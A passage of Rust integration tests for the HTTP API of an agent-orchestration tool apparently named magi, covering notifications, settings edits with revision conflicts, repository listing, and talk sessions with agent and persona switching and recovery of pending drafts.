8195
8196 #[tokio::test]
8197 async fn a_free_text_question_takes_text_and_not_a_choice() {
8198 let fx = Fixture::start().await;
8199 let id = ask(&fx, "What should the flag be called?", &[]);
8200 let path = format!("/api/questions/{id}/answer");
8201
8202 assert_eq!(
8203 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8204 400
8205 );
8206 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8207 assert_eq!(res.status, 200, "{}", res.body);
8208 assert_eq!(res.json()["answer"]["text"], "--json");
8209 }
8210
8211 #[tokio::test]
8212 async fn an_unknown_question_is_a_json_404() {
8213 let fx = Fixture::start().await;
8214 let res = fx
8215 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8216 .await;
8217 assert_eq!(res.status, 404, "{}", res.body);
8218 assert!(res.json()["error"].is_string());
8219 }
8220
8221 #[tokio::test]
8222 async fn notifications_list_read_dismiss_and_health_agree() {
8223 let fx = Fixture::start().await;
8224 let store = Notices::at(fx.home.path().join("notifications"));
8225 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8226 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8227
8228 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8229 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8230
8231 let health = fx.get("/api/health").await.json();
8232 assert_eq!(health["notifications_unread"], 2);
8233 assert_ne!(
8234 health["notifications_rev"], rev0,
8235 "the badge must move live"
8236 );
8237
8238 let listed = fx.get("/api/notifications").await.json();
8239 assert_eq!(listed["unread"], 2);
8240 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8241 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8242
8243 let read = fx
8244 .post(&format!("/api/notifications/{}/read", a.id), None)
8245 .await;
8246 assert_eq!(read.status, 200, "{}", read.body);
8247 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
8248
8249 let gone = fx
8250 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
8251 .await;
8252 assert_eq!(gone.status, 200, "{}", gone.body);
8253 let listed = fx.get("/api/notifications").await.json();
8254 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
8255 assert_eq!(listed["unread"], 0);
8256
8257 store.raise(Notice::info("x", "again")).unwrap();
8258 let all = fx.post("/api/notifications/read-all", None).await;
8259 assert_eq!(all.status, 200, "{}", all.body);
8260 assert_eq!(all.json()["marked"], 1);
8261 assert_eq!(
8262 fx.get("/api/health").await.json()["notifications_unread"],
8263 0
8264 );
8265
8266 let missing = fx.post("/api/notifications/nope/read", None).await;
8267 assert_eq!(missing.status, 404, "{}", missing.body);
8268 assert!(missing.json()["error"].is_string());
8269 }
8270
8271 #[tokio::test]
8278 async fn a_task_cannot_be_filed_over_the_phone_directly() {
8279 let f = Fixture::start().await;
8280
8281 let res = f
8282 .post(
8283 "/api/queue",
8284 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
8285 )
8286 .await;
8287
8288 assert_eq!(
8289 res.status, 405,
8290 "POST /api/queue must not be a route: {}",
8291 res.body
8292 );
8293 assert!(
8294 f.queue().list().is_empty(),
8295 "a task filed by a route that does not exist must not reach the disk"
8296 );
8297 assert_eq!(f.get("/api/queue").await.status, 200);
8300 }
8301
8302 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8304 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8305 .expect("checkout dir");
8306 }
8307
8308 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8310
8311 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8312 let tmp = TempDir::new().expect("tempdir");
8313 let repo = tmp.path().join("repo");
8314 std::fs::create_dir_all(&repo).expect("repo dir");
8315 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8316 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8317 if let Some(text) = machine_toml {
8318 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8319 std::fs::write(&machine, text).expect("machine toml");
8320 }
8321 (tmp, repo, machine)
8322 }
8323
8324 #[tokio::test]
8325 async fn settings_get_reports_sources_and_the_advisors_fallback() {
8326 let (_tmp, repo, machine) =
8327 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8328 let f = Fixture::with_repo_and_machine(repo, machine).await;
8329 let res = f.get("/api/settings").await;
8330 assert_eq!(res.status, 200, "{}", res.body);
8331 let v = res.json();
8332 assert!(v["error"].is_null(), "{v}");
8333 let role = |k: &str| {
8334 v["roles"]
8335 .as_array()
8336 .and_then(|r| r.iter().find(|x| x["key"] == k))
8337 .cloned()
8338 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8339 };
8340 assert_eq!(role("judges")["source"], "machine");
8341 assert_eq!(role("judges")["editable"], true);
8342 assert_eq!(role("implementers")["source"], "default");
8343 let adv = role("advisors");
8344 assert_eq!(adv["fallback"], "judges");
8345 assert!(
8346 adv["seats"]
8347 .as_array()
8348 .is_some_and(|s| s.iter().all(|x| x == "b")),
8349 "{adv}"
8350 );
8351 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
8352 assert_eq!(v["agents"][0]["source"], "repo");
8353 }
8354
8355 #[tokio::test]
8356 async fn settings_get_reports_a_config_that_does_not_parse() {
8357 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
8358 let f = Fixture::with_repo_and_machine(repo, machine).await;
8359 let res = f.get("/api/settings").await;
8360 assert_eq!(res.status, 200, "{}", res.body);
8361 let v = res.json();
8362 assert!(v["error"]["message"].is_string(), "{v}");
8363 assert!(
8364 v["error"]["path"]
8365 .as_str()
8366 .is_some_and(|p| p.ends_with("magi.toml")),
8367 "{v}"
8368 );
8369 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
8370 }
8371
8372 #[tokio::test]
8373 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
8374 let (_tmp, repo, machine) = settings_dirs(
8375 SETTINGS_AGENTS,
8376 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
8377 );
8378 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
8379 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
8380 let rev = f.get("/api/settings").await.json()["revision"]
8381 .as_str()
8382 .expect("revision")
8383 .to_owned();
8384 let body = serde_json::json!({
8385 "revision": rev,
8386 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
8387 })
8388 .to_string();
8389 let res = f.put("/api/settings/roles", &body).await;
8390 assert_eq!(res.status, 200, "{}", res.body);
8391 let text = std::fs::read_to_string(&machine).expect("machine");
8392 assert_eq!(
8393 text,
8394 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
8395 );
8396 assert_eq!(
8397 std::fs::read(repo.join("magi.toml")).expect("read"),
8398 repo_before
8399 );
8400 let again = f.get("/api/settings").await.json();
8401 let judges = again["roles"]
8402 .as_array()
8403 .expect("roles")
8404 .iter()
8405 .find(|r| r["key"] == "judges")
8406 .expect("judges")
8407 .clone();
8408 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
8409 let stale = f.put("/api/settings/roles", &body).await;
8411 assert_eq!(stale.status, 409, "{}", stale.body);
8412 }
8413
8414 #[tokio::test]
8415 async fn settings_counts_are_reported_and_saved() {
8416 let (_tmp, repo, machine) = settings_dirs(
8417 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
8418 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
8419 );
8420 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8421 let v = f.get("/api/settings").await.json();
8422 let count = |v: &serde_json::Value, k: &str| {
8423 v["roles"]
8424 .as_array()
8425 .and_then(|r| r.iter().find(|x| x["key"] == k))
8426 .map(|x| x["count"].clone())
8427 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8428 };
8429 let imp = count(&v, "implementers");
8430 assert_eq!(imp["value"], 2);
8431 assert_eq!(imp["source"], "machine");
8432 assert_eq!(imp["file_key"], "candidates");
8433 assert_eq!(imp["roster_len"], 2);
8434 assert_eq!(imp["backups"], 0);
8435 assert_eq!(count(&v, "judges")["source"], "default");
8436 assert_eq!(count(&v, "advisors")["min"], 0);
8437 assert_eq!(count(&v, "reviewers")["editable"], false);
8438 assert!(
8439 count(&v, "reviewers")["locked_reason"]
8440 .as_str()
8441 .is_some_and(|m| m.contains("graph.reviewers"))
8442 );
8443 assert!(count(&v, "fixer").is_null());
8444 let rev = v["revision"].as_str().expect("revision").to_owned();
8445 let body = serde_json::json!({
8446 "revision": rev,
8447 "roles": { "judges": ["b"] },
8448 "counts": { "implementers": 1, "advisors": 0 }
8449 })
8450 .to_string();
8451 let res = f.put("/api/settings/roles", &body).await;
8452 assert_eq!(res.status, 200, "{}", res.body);
8453 let text = std::fs::read_to_string(&machine).expect("machine");
8454 assert_eq!(
8455 text,
8456 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
8457 );
8458 let after = f.get("/api/settings").await.json();
8459 assert_eq!(count(&after, "implementers")["value"], 1);
8460 assert_eq!(count(&after, "implementers")["backups"], 1);
8461 assert_eq!(count(&after, "advisors")["value"], 0);
8462 let before = std::fs::read_to_string(&machine).expect("machine");
8463 let rev = after["revision"].as_str().expect("revision").to_owned();
8464 for counts in [
8465 serde_json::json!({ "judges": 0 }),
8466 serde_json::json!({ "judges": "x" }),
8467 serde_json::json!({ "judges": 2.5 }),
8468 serde_json::json!({ "judges": -1 }),
8469 serde_json::json!({ "reviewers": 3 }),
8470 serde_json::json!({ "bogus": 3 }),
8471 ] {
8472 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
8473 let res = f.put("/api/settings/roles", &body).await;
8474 assert_eq!(res.status, 422, "{counts}: {}", res.body);
8475 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
8476 }
8477 }
8478
8479 #[tokio::test]
8480 async fn settings_put_refuses_without_touching_the_file() {
8481 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
8482 let (_tmp, repo, machine) = settings_dirs(
8483 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
8484 Some(machine_text),
8485 );
8486 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8487 let rev = f.get("/api/settings").await.json()["revision"]
8488 .as_str()
8489 .expect("revision")
8490 .to_owned();
8491 for roles in [
8492 serde_json::json!({ "judges": ["nope"] }),
8493 serde_json::json!({ "reviewers": ["b"] }),
8494 serde_json::json!({ "bogus": ["a"] }),
8495 ] {
8496 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
8497 let res = f.put("/api/settings/roles", &body).await;
8498 assert_eq!(res.status, 422, "{roles}: {}", res.body);
8499 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
8500 assert_eq!(
8501 std::fs::read_to_string(&machine).expect("machine"),
8502 machine_text
8503 );
8504 }
8505 }
8506
8507 #[tokio::test]
8508 async fn repos_list_returns_name_and_path_for_every_configured_root() {
8509 let tmp = TempDir::new().expect("tempdir");
8510 let repo = tmp.path().join("repo");
8511 std::fs::create_dir_all(&repo).expect("repo dir");
8512 let root = tmp.path().join("root");
8513 make_checkout(&root, "github.com", "yukimemi", "magi");
8514 std::fs::write(
8515 repo.join("magi.toml"),
8516 format!(
8517 "[repos]\nroots = [{:?}]\n",
8518 root.to_string_lossy().into_owned()
8519 ),
8520 )
8521 .expect("write magi.toml");
8522
8523 let f = Fixture::with_repo(repo).await;
8524 let res = f.get("/api/repos").await;
8525 assert_eq!(res.status, 200, "{}", res.body);
8526 let list = res.json();
8527 let repos = list.as_array().expect("an array");
8528 assert_eq!(repos.len(), 1);
8529 assert_eq!(repos[0]["name"], "yukimemi/magi");
8530 assert!(
8531 repos[0]["path"]
8532 .as_str()
8533 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
8534 "{list}"
8535 );
8536 }
8537
8538 #[tokio::test]
8539 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
8540 let tmp = TempDir::new().expect("tempdir");
8541 let repo = tmp.path().join("repo");
8542 std::fs::create_dir_all(&repo).expect("repo dir");
8543 let root = tmp.path().join("root");
8544 make_checkout(&root, "github.com", "yukimemi", "magi");
8545 std::fs::write(
8546 repo.join("magi.toml"),
8547 format!(
8548 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
8549 root.to_string_lossy().into_owned()
8550 ),
8551 )
8552 .expect("write magi.toml");
8553
8554 let f = Fixture::with_repo(repo).await;
8555 let first = f.get("/api/repos").await;
8556 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
8557
8558 make_checkout(&root, "github.com", "yukimemi", "rvpm");
8561 let second = f.get("/api/repos").await;
8562 assert_eq!(
8563 second.json().as_array().map(Vec::len),
8564 Some(1),
8565 "a fresh cache must not rescan inside the TTL"
8566 );
8567
8568 let refreshed = f.get("/api/repos?refresh=1").await;
8569 assert_eq!(
8570 refreshed.json().as_array().map(Vec::len),
8571 Some(2),
8572 "an explicit refresh must rescan even inside the TTL"
8573 );
8574 }
8575
8576 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
8582
8583 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
8587 let tmp = TempDir::new().expect("tempdir");
8588 let repo = tmp.path().join("repo");
8589 std::fs::create_dir_all(&repo).expect("repo dir");
8590 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8591 let f = Fixture::with_repo(repo.clone()).await;
8592 (tmp, repo, f)
8593 }
8594
8595 #[tokio::test]
8596 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
8597 let (_tmp, _repo, f) = talk_fixture().await;
8598
8599 let opened = f.post("/api/talks", None).await;
8602 assert_eq!(opened.status, 201, "{}", opened.body);
8603 let body = opened.json();
8604 assert_eq!(body["status"], "open");
8605 assert_eq!(
8606 body["turns"].as_array().unwrap().len(),
8607 0,
8608 "opening takes no agent turn: there is nothing yet to answer"
8609 );
8610
8611 let also_opened = f.post("/api/talks", Some("{}")).await;
8613 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
8614
8615 let listed = f.get("/api/talks").await.json();
8616 assert_eq!(listed.as_array().unwrap().len(), 2);
8617 }
8618
8619 #[tokio::test]
8620 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
8621 let tmp = TempDir::new().expect("tempdir");
8622 let repo = tmp.path().join("repo");
8623 std::fs::create_dir_all(&repo).expect("repo dir");
8624 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
8625 std::fs::write(
8626 repo.join("magi.toml"),
8627 format!("{MOCK_AGENT_TOML}\n{second}"),
8628 )
8629 .expect("write magi.toml");
8630 let home = TempDir::new().expect("temp home");
8631 let talks = Talks::at(home.path().join("talks"));
8632 let ui = Arc::new(
8633 Ui::new(
8634 Queue::at(home.path().join("queue")),
8635 Questions::at(home.path().join("questions")),
8636 talks.clone(),
8637 home.path().join("runs"),
8638 home.path().to_path_buf(),
8639 repo.clone(),
8640 )
8641 .with_worktrees_root(home.path().join("wt")),
8642 );
8643 let cfg = config_for(&repo).await.expect("discover config");
8644 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8645 let id = talk.id.clone();
8646 let call = |agent: &str| {
8647 talk_agent(
8648 State(Arc::clone(&ui)),
8649 Path(id.clone()),
8650 Json(TalkAgent {
8651 agent: agent.to_owned(),
8652 }),
8653 )
8654 };
8655
8656 let unknown = call("nobody").await.expect_err("unknown agent");
8657 assert_eq!(
8658 unknown.status,
8659 StatusCode::BAD_REQUEST,
8660 "{}",
8661 unknown.message
8662 );
8663
8664 {
8665 let mut claimed = None;
8668 for _ in 0..200 {
8669 claimed = ui.begin_talk_turn(&id).expect("claim");
8670 if claimed.is_some() {
8671 break;
8672 }
8673 tokio::time::sleep(Duration::from_millis(10)).await;
8674 }
8675 let _busy = claimed.expect("free");
8676 let busy = call("second").await.expect_err("busy talk");
8677 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8678 }
8679 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
8680
8681 let Json(view) = call("second").await.expect("switch");
8682 assert_eq!(view.talk.agent, "second");
8683 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
8684 let saved = talks.get(&id).expect("reload");
8685 assert_eq!(saved.agent, "second");
8686 assert_eq!(saved.turns.len(), 1);
8687
8688 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8689 .await
8690 .expect("detail");
8691 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
8692 assert_eq!(roster, ["mock", "second"]);
8693
8694 let mut closed = talks.get(&id).expect("reload");
8695 talk::close(&mut closed, &talks).expect("close");
8696 let refused = call("mock").await.expect_err("closed talk");
8697 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8698 }
8699
8700 #[tokio::test]
8701 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
8702 let tmp = TempDir::new().expect("tempdir");
8703 let repo = tmp.path().join("repo");
8704 std::fs::create_dir_all(&repo).expect("repo dir");
8705 std::fs::write(
8706 repo.join("magi.toml"),
8707 format!(
8708 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
8709 ),
8710 )
8711 .expect("write magi.toml");
8712 let home = TempDir::new().expect("temp home");
8713 let talks = Talks::at(home.path().join("talks"));
8714 let ui = Arc::new(
8715 Ui::new(
8716 Queue::at(home.path().join("queue")),
8717 Questions::at(home.path().join("questions")),
8718 talks.clone(),
8719 home.path().join("runs"),
8720 home.path().to_path_buf(),
8721 repo.clone(),
8722 )
8723 .with_worktrees_root(home.path().join("wt")),
8724 );
8725 let cfg = config_for(&repo).await.expect("discover config");
8726 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8727 let id = talk.id.clone();
8728 let call = |persona: &str| {
8729 talk_persona(
8730 State(Arc::clone(&ui)),
8731 Path(id.clone()),
8732 Json(TalkPersona {
8733 persona: persona.to_owned(),
8734 }),
8735 )
8736 };
8737
8738 let unknown = call("nobody").await.expect_err("unknown persona");
8739 assert_eq!(
8740 unknown.status,
8741 StatusCode::BAD_REQUEST,
8742 "{}",
8743 unknown.message
8744 );
8745
8746 {
8747 let mut claimed = None;
8748 for _ in 0..200 {
8749 claimed = ui.begin_talk_turn(&id).expect("claim");
8750 if claimed.is_some() {
8751 break;
8752 }
8753 tokio::time::sleep(Duration::from_millis(10)).await;
8754 }
8755 let _busy = claimed.expect("free");
8756 let busy = call("rei").await.expect_err("busy talk");
8757 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8758 }
8759 assert_eq!(talks.get(&id).expect("reload").persona, "");
8760
8761 let Json(view) = call("gendo").await.expect("switch to a configured persona");
8762 assert_eq!(view.talk.persona, "gendo");
8763 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
8764
8765 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8766 .await
8767 .expect("detail");
8768 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
8769 assert_eq!(ids.first(), Some(&"default"));
8770 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
8771
8772 let Json(view) = call("default").await.expect("back to default");
8773 assert_eq!(view.talk.persona, "");
8774
8775 let mut closed = talks.get(&id).expect("reload");
8776 talk::close(&mut closed, &talks).expect("close");
8777 let refused = call("rei").await.expect_err("closed talk");
8778 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8779 }
8780
8781 #[tokio::test]
8782 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
8783 let f = Fixture::start().await;
8784 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
8785 let queue = f.queue();
8786 let mut mine = Task::new(
8787 "rename the loader".to_owned(),
8788 "rename the loader".to_owned(),
8789 PathBuf::from("/repo/magi"),
8790 Source::Agent {
8791 run: talk_id.clone(),
8792 node: "chat".to_owned(),
8793 },
8794 );
8795 queue.put(&mut mine).expect("file the task");
8796 let mut theirs = Task::new(
8797 "unrelated".to_owned(),
8798 "unrelated".to_owned(),
8799 PathBuf::from("/repo/magi"),
8800 Source::Human,
8801 );
8802 queue.put(&mut theirs).expect("file the task");
8803
8804 let res = f.get(&format!("/api/talks/{talk_id}")).await;
8805 assert_eq!(res.status, 200, "{}", res.body);
8806 let body = res.json();
8807 assert_eq!(
8808 body["status"], "open",
8809 "filing a task does not close a talk"
8810 );
8811 let tasks = body["tasks"].as_array().expect("tasks array");
8812 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
8813 assert_eq!(tasks[0]["id"], mine.id);
8814 }
8815
8816 #[tokio::test]
8817 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
8818 let (_tmp, _repo, f) = talk_fixture().await;
8819 let id = f.post("/api/talks", None).await.json()["id"]
8820 .as_str()
8821 .expect("id")
8822 .to_owned();
8823
8824 let res = f
8825 .post(
8826 &format!("/api/talks/{id}/say"),
8827 Some(r#"{"text":"what does the queue module do?"}"#),
8828 )
8829 .await;
8830 assert_eq!(res.status, 202, "{}", res.body);
8831 let queued = res.json();
8832 let turns = queued["turns"].as_array().expect("turns array");
8833 assert_eq!(
8834 turns.len(),
8835 1,
8836 "the answer reflects only what is on disk the instant it is sent, \
8837 before the agent's turn - which can run for the whole of \
8838 `[graph] timeout_talk` - has a chance to land: {queued}"
8839 );
8840 assert_eq!(turns[0]["who"], "operator");
8841 assert_eq!(turns[0]["body"], "what does the queue module do?");
8842 assert_eq!(
8843 queued["thinking"], true,
8844 "the accepted response exposes the background turn claim: {queued}"
8845 );
8846
8847 let mut turns_after = 1;
8848 for _ in 0..SETTLE_STEPS {
8849 let detail = f.get(&format!("/api/talks/{id}")).await.json();
8850 turns_after = detail["turns"].as_array().expect("turns array").len();
8851 if turns_after == 2 {
8852 break;
8853 }
8854 tokio::time::sleep(Duration::from_millis(10)).await;
8855 }
8856 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
8857 }
8858
8859 #[tokio::test]
8886 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
8887 let tmp = TempDir::new().expect("tempdir");
8888 let repo = tmp.path().join("repo");
8889 std::fs::create_dir_all(&repo).expect("repo dir");
8890 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8891 let home = TempDir::new().expect("temp home");
8892 let talks = Talks::at(home.path().join("talks"));
8893 let ui = Arc::new(
8894 Ui::new(
8895 Queue::at(home.path().join("queue")),
8896 Questions::at(home.path().join("questions")),
8897 talks.clone(),
8898 home.path().join("runs"),
8899 home.path().to_path_buf(),
8900 repo.clone(),
8901 )
8902 .with_worktrees_root(home.path().join("wt")),
8903 );
8904 let cfg = config_for(&repo).await.expect("discover config");
8905
8906 for delay in 0..40u32 {
8907 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8908 let id = talk.id.clone();
8909
8910 let handler = tokio::spawn(talk_say(
8911 State(Arc::clone(&ui)),
8912 Path(id.clone()),
8913 Ok(Json(NewTalkTurn {
8914 text: "what does the queue module do?".to_owned(),
8915 attachments: Vec::new(),
8916 })),
8917 ));
8918 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
8919 handler.abort();
8920 let _ = handler.await;
8923
8924 let mut turns = 0;
8925 for _ in 0..SETTLE_STEPS {
8926 if let Ok(fresh) = talks.get(&id) {
8927 turns = fresh.turns.len();
8928 if turns != 1 {
8929 break;
8930 }
8931 }
8932 tokio::time::sleep(Duration::from_millis(10)).await;
8933 }
8934 assert_ne!(
8935 turns, 1,
8936 "delay {delay}: talk {id} recorded the operator's turn but \
8937 the agent never answered - the reply task was never \
8938 started after the handler future was dropped"
8939 );
8940 }
8941 }
8942
8943 #[tokio::test]
8988 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
8989 let tmp = TempDir::new().expect("tempdir");
8990 let repo = tmp.path().join("repo");
8991 std::fs::create_dir_all(&repo).expect("repo dir");
8992 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8993 let home = TempDir::new().expect("temp home");
8994 let talks = Talks::at(home.path().join("talks"));
8995 let ui = Arc::new(
8996 Ui::new(
8997 Queue::at(home.path().join("queue")),
8998 Questions::at(home.path().join("questions")),
8999 talks.clone(),
9000 home.path().join("runs"),
9001 home.path().to_path_buf(),
9002 repo.clone(),
9003 )
9004 .with_worktrees_root(home.path().join("wt")),
9005 );
9006 let cfg = config_for(&repo).await.expect("discover config");
9007
9008 for attempt in 0..3u32 {
9009 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9010 let id = talk.id.clone();
9011 let turn_guard = ui
9014 .begin_talk_turn(&id)
9015 .expect("claim the turn")
9016 .expect("a fresh talk owes nobody a turn");
9017
9018 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
9019 let (release_tx, release_rx) = std::sync::mpsc::channel();
9020 ui.set_busy_queue_gate(BusyQueueGate {
9021 reached: reached_tx,
9022 release: release_rx,
9023 });
9024
9025 let handler = tokio::spawn(talk_say(
9026 State(Arc::clone(&ui)),
9027 Path(id.clone()),
9028 Ok(Json(NewTalkTurn {
9029 text: "what does the queue module do?".to_owned(),
9030 attachments: Vec::new(),
9031 })),
9032 ));
9033
9034 tokio::time::timeout(Duration::from_secs(5), reached_rx)
9039 .await
9040 .unwrap_or_else(|_| {
9041 panic!(
9042 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
9043 )
9044 })
9045 .expect("the busy branch dropped the gate without using it");
9046
9047 let running = talks.get(&id).expect("reload talk");
9054 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
9055
9056 handler.abort();
9060 let _ = handler.await;
9061
9062 let _ = release_tx.send(());
9068
9069 let mut fresh = talks.get(&id).expect("reload talk");
9072 for _ in 0..SETTLE_STEPS {
9073 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
9074 break;
9075 }
9076 tokio::time::sleep(Duration::from_millis(10)).await;
9077 fresh = talks.get(&id).expect("reload talk");
9078 }
9079 assert!(
9080 fresh.pending.is_empty() && fresh.turns.len() == 2,
9081 "attempt {attempt}: talk {id} left the operator's text queued \
9082 with no drainer - the reclaimed turn was dropped along with \
9083 the handler future (pending {:?}, {} turns)",
9084 fresh.pending,
9085 fresh.turns.len()
9086 );
9087 }
9088 }
9089
9090 #[tokio::test]
9091 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
9092 let (_tmp, _repo, f) = talk_fixture().await;
9093 let id = f.post("/api/talks", None).await.json()["id"]
9094 .as_str()
9095 .expect("id")
9096 .to_owned();
9097 let store = f.talks();
9098 let mut recovered = store.get(&id).expect("opened talk");
9099 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9100 .expect("persist pending draft without a live turn");
9101
9102 let edited = f
9103 .post(
9104 &format!("/api/talks/{id}/pending/edit"),
9105 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
9106 )
9107 .await;
9108 assert_eq!(edited.status, 200, "{}", edited.body);
9109 assert!(edited.json()["thinking"].as_bool().unwrap());
9110
9111 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
9112 for _ in 0..SETTLE_STEPS {
9113 if detail["turns"].as_array().expect("turns").len() == 2 {
9114 break;
9115 }
9116 tokio::time::sleep(Duration::from_millis(10)).await;
9117 detail = f.get(&format!("/api/talks/{id}")).await.json();
9118 }
9119 let turns = detail["turns"].as_array().expect("turns");
9120 assert_eq!(
9121 turns.len(),
9122 2,
9123 "the recovered draft must run once: {detail}"
9124 );
9125 assert_eq!(turns[0]["body"], "corrected");
9126 assert_eq!(detail["pending"], "");
9127 }
9128
9129 #[tokio::test]
9130 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
9131 let tmp = TempDir::new().expect("tempdir");
9132 let repo = tmp.path().join("repo");
9133 std::fs::create_dir_all(&repo).expect("repo dir");
9134 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9135 let f = Fixture::with_repo(repo).await;
9136 let id = f.post("/api/talks", None).await.json()["id"]
9137 .as_str()
9138 .expect("id")
9139 .to_owned();
9140 let store = f.talks();
9141 let mut recovered = store.get(&id).expect("opened talk");
9142 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9143 .expect("persist pending draft without a live turn");
9144
9145 let refused = f
9146 .post(
9147 &format!("/api/talks/{id}/say"),
9148 Some(r#"{"text":"new message"}"#),
9149 )
9150 .await;
9151 assert_eq!(refused.status, 409, "{}", refused.body);
9152 assert!(refused.body.contains("resume"), "{}", refused.body);
9153 let saved = store.get(&id).expect("draft remains after refusal");
9154 assert!(saved.turns.is_empty());
9155 assert_eq!(saved.pending, "saved before restart");
9156
9157 let say_path = format!("/api/talks/{id}/say");
9158 let (first, second) = tokio::join!(
9159 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
9160 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
9161 );
9162 assert_eq!(first.status, 409, "{}", first.body);
